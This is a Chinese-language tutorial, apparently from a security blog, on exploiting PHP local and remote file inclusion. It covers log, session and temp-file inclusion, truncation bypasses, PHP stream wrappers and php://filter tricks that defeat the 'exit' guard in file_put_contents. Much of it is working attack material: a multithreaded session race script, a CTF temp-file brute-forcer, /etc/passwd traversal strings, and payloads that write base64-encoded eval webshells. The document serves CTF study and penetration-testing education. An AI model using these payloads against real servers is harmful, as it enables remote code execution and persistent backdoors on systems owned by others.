文件包含漏洞的介绍

介绍

在程序中通过include等包含指令或函数引用外部文件时,若可以通过用户可控参数指定包含或引用的目标文件(也就是“包含”函数的参数是动态变量且用户可控),且没有对目标文件进行有效的安全检验,导致包含恶意代码的文件嵌入到程序空间并得到解析执行,从而造成文件包含漏洞。由于文件包含指令涉及比较少,在挖掘漏洞的时候很容易通过定位关键函数的方法定位漏洞。例如,PHP语言中关于包含的函数主要有includeinclude_oncerequirerequire_oncefile_get_contentsfopenfilereadfile等;JSP语言主要有include指令或jsp:include动作元素,以及c:import指令。

分类

根据包含目标文件的存储位置,文件包含分为:

  • 本地文件包含(Local File Inclusion,LFI)
  • 远程文件包含(Remote File Inclusion,RFI)

其中,本地文件包含漏洞一般是上传或日志缓存写入等方法来包含恶意文件,远程文件包含漏洞这是引入远程的恶意文件、恶意代码或数据流造成文件包含漏洞。

本地文件包含漏洞

包含本地服务器的文件且能正常执行被包含文件的代码是本地文件包含,若包含的是超出开发者本意的恶意文件时,则造成本地文件包含漏洞。

普通本地文件包含

如,服务端脚本中含有以下代码的文件(LFI.php):

1
2
3
<?php
include "./".$_GET['file'];
?>

上传恶意代码(test.txt)到服务端:

1
<?php phpinfo(); ?>

在浏览器访问路径:http://hackroot.com/LFI.php?file=upload/test.txt。触发本地包含漏洞。

image-20220126201255729

日志文件包含

利用条件:

  • 日志文件存储位置已知,且日志文件可读。

中间件例如IIS、Apache、Nginx这些Web中间件,都会记录访问日志,如果日志中或错误日志中存在有PHP代码,也可以引入到文件包含中。如果日志有PHP恶意代码也会导致getshell。

如,我们可以在Burp中构造恶意数据包,使Web服务器的错误日志文件包含我们的恶意代码:

image-20220126210924379

不直接使用浏览器发送的原因是浏览器会自动进行URL编码。

error.log中已经记录了本次的错误信息,其中就有我们的恶意代码。

image-20220126204657059

利用本地文件包含即可执行。

image-20220126204852067

注:在Linux下日志文件权限默认为root,而php的权限是www-data,一般是读取不了的,如果是Windows环境下的是允许的。

Linux默认的apache日志文件路径:

  • 访问日志:/var/log/apache2/access.log
  • 错误日志:/var/log/apache2/error.log

Session文件包含

利用条件:

  • PHP >= 5.4.0
  • session.upload_progress.enabled=On

open_basedirallow_url_fopenallow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

  • session.upload_progress.enabled:控制是否开启session.upload_progress功能
  • session.upload_progress.cleanup:控制是否在上传之后删除文件内容
  • session.upload_progress.prefix:设置上传文件内容的前缀
  • session.upload_progress.name:其值即为session中的键值

image-20220127182057488

可以利用session.upload_progress将WebShell写入session文件(通过修改PHPSESSID的值来自定义文件名),然后包含这个session文件(PHP版本>=5.4.0)

image-20220127183248871

如,首先在本地构造上传页面(只用提交就行,不用管服务端有没有接收都会创建Session文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload-POC</title>
</head>
<body>
<!-- form表单,action中为服务端的URL -->
<form action="http://192.168.1.14/index.php" method="post" enctype="multipart/form-data">
<!-- session 上传 -->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" >
<!------------------------------------------->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传提交时,使用Burp抓包,在Cookie中添加PHPSESSID:

image-20220127184915767

提交后,服务端就会生成一个Session文件,生成文件的路径为php.ini中session.save_path的值,一般在/var/lib/php/session//tmp/下。

image-20220127185424369

我们可以利用本地文件包含,执行Session文件中的恶意脚本。

image-20220127190033177

但是,当session.upload_progress.cleanup的值为On时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

当然是利用条件竞争了!

使用ctfshow群主的脚本,用多线程重放包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-20 09:51:29
# @Last Modified by: k1he
# @Last Modified time: 2021-09-20 14:33:23
import io
import requests
import threading

sessid = 'shell'
url = 'http://192.168.1.14/LFI.php'

def write(session):
while event.isSet():
f = io.BytesIO(b'a'* 1024 * 50) #创建文件
response = session.post( #post文件上传
url, #url
cookies = {'PHPSESSID':sessid}, #设置cookie为我们的sessid
data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},#写马或执行内容
files = {"file":('k1he.txt',f)} #上传文的具体内容,文件名和文件内容
)

def read(session):
while event.isSet():
payload = "?file=../../../var/lib/php/session/sess_"+sessid #包含我们的session路径

response = session.get(url = url+payload) #读取页面

if 'k1he.txt' in response.text: #返回页面
print(response.text)
event.clear
else:
print("[*]retrying!!!")


if __name__ == '__main__': #双线程运行
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()

访问http://192.168.1.14/LFI.php?file=../../../var/lib/php/session/sess_shell,多刷新几下,即可看到命令执行的结果。

image-20220127194243629

/proc/self/environ 文件包含

利用条件:

  • php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
  • environ 文件存储位置已知,且 environ 文件可读。

environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息:

在浏览器访问路径:http://localhost/LFI.php?file=../../../proc/self/environ

如果看到类似如下信息:

1
2
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, p_w_picpath/png, p_w_picpath/jpeg, p_w_picpath/gif, p_w_picpath/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

说明是可以访问的,如果返回时个空白页,说明是无法访问的。

可以使用BurpSuite或Firefox的插件改变Firefox的User-Agent:

1
User-Agent: <?php phpinfo();?>

再通过本地文件包含即可:

1
http://localhost/LFI.php?file=../../../proc/self/environ

注:一般php是无法访问到/proc/self下的文件的,所以这种利用方式很难能用到。

临时文件包含

php://filter/string.strip_tags

php7.0的bug

1
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

该方法仅适用于以下php7版本,php5并不存在该崩溃:

1
2
3
4
5
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

php://filter/convert.quoted-printable-encode

这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数。

1
2
3
4
5
• php7.0.0-7.0.32

• php7.0.4-7.2.12

• php<=5.6.38的版本 (5.6.39-5.6.9以内的版本并不存在这个崩溃)

在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。

放一个xctf final的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "10.99.99.16"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?function=extract&file=/tmp/php%s" % (base_url, filename) #url根据实际情况改下参数就行
print url
try:
response = requests.get(url)
if 'wwwwwwwwwwwwww' in response.content: #可以利用burp 多线程上传文件
print "[+] Include success!"
return True
except Exception as e:
print e
return False


def main():
brute_force_tmp_files()


if __name__ == "__main__":
main()

自包含临时文件

利用条件:

  • 通过自包含或者其他方式使得临时文件暂时存在

  • 能够同时查看phpinfo($_FILES[‘file’])

  • 进行文件上传

也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。

利用自包含index.php,页面不断加载,文件上传跳转后要求显示phpinfo页面,在文件上传的时候,php默认会在/tmp目录下随机生成 php+6位随机字母的文件,上传后跳转到自包含的页面,这时候在phpinfo中的$_FILES[‘file’]变量会显示临时文件路径,到另一个页面包含这个文件就能getshell。

本地文件包含的限制绕过

利用%00截断绕过后缀名限制

一般的Web引擎会限制包含文件的后缀名,例如上例LFI1.php中的包含指令,Web引擎会阻止后缀为txt的引用目标文件。PHP 5.3.4之前的版本在gpc关闭状态下,可以通过%00截断的方式绕过这一限制,触发本地文件包含漏洞。

如,服务端脚本中含有以下代码的文件(LFI.php):

1
2
3
<?php
include "./".$_GET['file'].".php";
?>

在浏览器访问路径:http://hackroot.com/LFI.php?file=upload/test.txt%00。触发本地包含漏洞。

image-20220126201324084

利用超长字符截断绕过后缀名限制

我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用”./“的方式即可构造出超长目录字符串:

PHP 5.3.4之前的版本还可以利用Windows环境下“240个小数点”的方式进行截断,绕过后台的安全检测。

如,服务端脚本中含有以下代码的文件(LFI.php):

1
2
3
<?php
include "./".$_GET['file'].".php";
?>

在浏览器访问路径:

1
http://192.168.1.14/LFI.php?file=./././././【中间省略n个./】././././././test.txt

触发本地包含漏洞。

用到的不多,仅作为思路参考。

远程文件包含漏洞

在演示分析远程包含漏洞时,需要设置PHP引擎的以下前提条件:

  • 修改php.ini配置文件里面的allow_url_fopenallow_url_include,使其开启allow_url_fopen=Onallow_url_include=On
  • 被包含文件没有目录限制,或可控的文件、恶意代码、数据流可被引入解析。

符合以上条件的就是远程文件包含漏洞。

普通远程文件包含

如,服务端脚本中含有以下代码的文件(RFI.php):

1
2
3
<?php
include $_GET['file'];
?>

上传恶意代码(test.txt)到攻击者的服务端:

1
<?php phpinfo(); ?>

在浏览器访问路径:

http://hackroot.com/RFI.php?file=http://192.168.1.14/test.txt。触发远程包含漏洞。

image-20220127211653179

远程文件包含的限制绕过

利用问号截断绕过后缀名限制

对于Web引擎会阻止后缀为txt的引用目标文件情况,可以通过?截断的方式,绕过安全检查。

如,服务端脚本中含有以下代码的文件(RFI.php):

1
2
3
<?php
include $_GET['file'].".php";
?>

在浏览器访问路径:

http://hackroot.com/RFI.php?file=http://192.168.1.14/test.txt?。触发远程包含漏洞。

image-20220128224244493

PHP伪协议

PHP封装协议又叫伪协议,此种类经常在CTF中用到,常用的封装协议有php://inputphp://zipphp://filterphp://zipdata://zip://file://phar://等。

有的协议受限于allow_url_include,例如file://allow_url_fopenallow_url_include关闭的情况下都可以说使用,而 data://allwo_url_fopenallow_url_include都开启的情况下才可以使用。

下图总结了部分PHP伪协议、版本与文件包含开关的对应关系:

协议 测试PHP版本 allow_url_fopen allow_url_include 用法
file:// >=5.2 Off/On Off/On ?file=file://D:/www/code.txt
php://filter >=5.2 Off/On Off/On ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input >=5.2 Off/On On ?file=php://input 【POST DATA】\<?php phpinfo();?>
zip:// >=5.2 Off/On Off/On ?file=zip://D:/www/file.zip%23code.txt
compress.bzip2:// >=5.2 Off/On Off/On ?file=compress.bzip2://D:/www/file.bz2
compress.zlib:// >=5.2 Off/On Off/On ?file=compress.zlib://D:/www/file.gz
phar:// >=5.3 Off/On Off/On ?file=phar://D:/www/file.zip/code.txt
data:// >=5.2 On On ?file=data://text/plain,\<?php phpinfo();?>
【Or】
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
【也可以】
?file=data:text/plain,\<?php phpinfo();?>
【Or】
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

更多有关伪协议的信息可以参考官网:https://www.php.net/manual/zh/wrappers.php

data:// 协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。

如,服务端脚本中含有以下代码的文件(RFI.php):

1
2
3
<?php
include $_GET['file'];
?>

通过浏览器访问路径

1
http://hackroot.com/RFI.php?file=data:text/plain,%3C?php%20phpinfo();?%3E

触发漏洞

image-20220128204428196

另外,也可以将payload编码成base64的形式:

1
http://hackroot.com/RFI.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

image-20220128205217621

zip:// 协议

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

如,服务端脚本中含有以下代码的文件(RFI.php):

1
2
3
<?php
include $_GET['file'];
?>

将 恶意文件(test.txt)压缩存储为 test.zip,通过浏览器访问路径:

http://hackroot.com/RFI.php?file=zip://upload/test.zip%23test.txt

image-20220129162336562

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容。phar://协议是在PHP 5.3.0后才开始启用的。这里仅对文件包含的角度对phar://`协议进行利用,之后利用反序列化时会深入讲解。

如,服务端脚本中含有以下代码的文件(RFI.php):

1
2
3
<?php
include $_GET['file'];
?>

将 恶意文件(test.txt)压缩存储为 test.zip,通过浏览器访问路径:

http://hackroot/RFI.php?file=phar://upload/test.zip/test.txt

image-20220129161424371

php://input 协议

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

注:当enctype=”multipart/form-data”时,php://input是无效的。

如,服务端脚本中含有以下代码的文件(RFI.php):

1
2
3
<?php
include $_GET['file'];
?>

通过浏览器访问路径:http://hackroot/RFI?file=php://input,并发送POST数据(执行的代码),即可触发

image-20220128230806186

php://filter 协议

php://filte是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。

php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。

php://filter参数

image-20220128232804941

可用的过滤器列表(4类)

此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。

读取文件

使用php://filter协议读文件时是会解析php的。

1
http://hackroot.com/RFI.php?file=php://filter/resource=upload/test.txt

image-20220128234108611

要想读取php的源码,可以使用过滤器对读取到的内容进行编码。

1
http://hackroot.com/RFI.php?file=php://filter/read=convert.base64-encode/resource=LFI.php

image-20220128234727473

解码后就是源代码了

image-20220128234828273

注:不仅仅是include()file_get_contents()也可以使用php://filter读取文件。

写入文件

include()函数是不能使用php://filter,写文件的。但是file_put_contents()函数是可以写入文件的。测试代码如下:

1
2
3
4
5
<?php
$file = $_GET['file'];
$txt = $_GET['txt'];
file_put_contents($file, $txt);
?>

payload:

1
http://hackroot.com/file.php?file=php://filter/resource=test.txt&txt=abc123

可以写入文件

image-20220129001740208

如果写入的内容过长,可以先对其进行base64编码,在写入时使用convert.base64-decode进行解码。

payload:

1
http://hackroot.com/file.php?file=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

image-20220129002134272

这里利用了过滤器写入了webshell,我们可以利用php://filter绕过“死亡exit”。

绕过file_put_contents“死亡exit”

关于代码终结者<?php exit; ?>想必大家在打CTF或漏洞挖掘中写入shell的时候经常会遇到,在这样的情况下无论写入的shell是否成功都不会执行传入的恶意代码,因为在恶意代码执行之前程序就已经结束退出了,导致shell后门利用失败。

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

有关绕过原理可以参考下面三篇大牛的文章,我仅仅总结下绕过姿势:

php的死亡绕过file_put_content大概有两种情形出现:

  • file_put_contents($filename,"<?php exit();".$content);
  • file_put_contents($content,"<?php exit();".$content);

还有一种是file_put_contents($filename,$content . "\nxxxxxx");,不过这个是绕过杂糅代码,不是死亡exit,主要针对.htaccess文件做绕过,使用的方法不涉及伪协议,就不在这里做讨论了。

情况一

示例代码(f1.php):

1
2
3
4
5
<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,"<?php exit();".$content);
?>
base64编码绕过

这里需要将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”,以补上一位就可以完全转化。

1
2
3
$filename=php://filter/convert.base64-decode/resource=s1mple.php

$content=aPD9waHAgcGhwaW5mbygpOz8+

这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;payload效果如下:

image-20220129115805941

rot13 编码绕过

原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可:

1
2
3
$filename=php://filter/string.rot13/resource=s1mple.php

$content=<?cuc cucvasb;?>

image-20220129122402813

只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用。

.htaccess的预包含利用

利用.htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件。

1
2
3
$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value%20auto_prepend_file%20s1mple.php

同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件。实验结果如下所示:

image-20220129124837807

过滤器编码组合拳

过滤器组合拳,其实故名思意,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码。

  • strip_tags + base64

利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell。

1
2
3
$filename=php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php

$content=?>PD9waHAgcGhwaW5mbygpOz8+

image-20220129125327929

但是这种方法有一定的局限性也还是因为string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响。

  • 三个过滤器

内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础。

1
2
$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php

虽然写入并没有问题,但测试并没有执行代码。

情况二

示例代码(f2.php):

1
2
3
4
<?php
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

这段类似的代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。

和上面的大类方法一样,也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit(); 然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload。

.htacess的预包含利用

和第一种情况一样,利用.htaccess进行预包含,然后读取flag。

1
php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20s1mple.php%0a%23/resource=.htaccess
base64 编码绕过

看到这种情况其实也可以想到base64利用,payload:

1
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php

1
php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

看起来顺理成章,进行拼接之后就是

1
<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。原因如下:

‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的

  • 去掉等号之过滤器嵌套base64

payload:

1
php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去:

1
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名;效果如下:

image-20220129140724001

  • 去掉等号之直接对内容进行变性另类base64

其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html标签,从而对剩下的内容进行base64解码。但是这种方法却不是如此,payload如下:

1
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

这种payload的攻击原理即是首先直接在内容时,就将我们base64遇到的‘=’这个问题直接在写中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的效果。

注:这两种方法在Windows系统下是实现不了的,因为Windows系统的文件名不能含有?>

rot13 编码绕过

尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可。

1
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php

image-20220129141618539

convert.iconv.* 编码转换绕过

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到iconv — 字符串按要求的字符编码来转换

用法:

1
2
3
iconv ( string $in_charset , string $out_charset , string $str )  

string 将字符串 str 从 in_charset 转换编码到 out_charset

就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已。

那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换。

  • usc-2

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

1
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php

image-20220129142457860

  • usc-4

活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数。

1
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php

image-20220129142858042

  • utf-8与utf-7之间的转化

经过测试发现:

image-20220129143423984

这里发现生成的是+AD0-,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell,算上是一种组合拳:

1
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php

image-20220129143701048

参考资料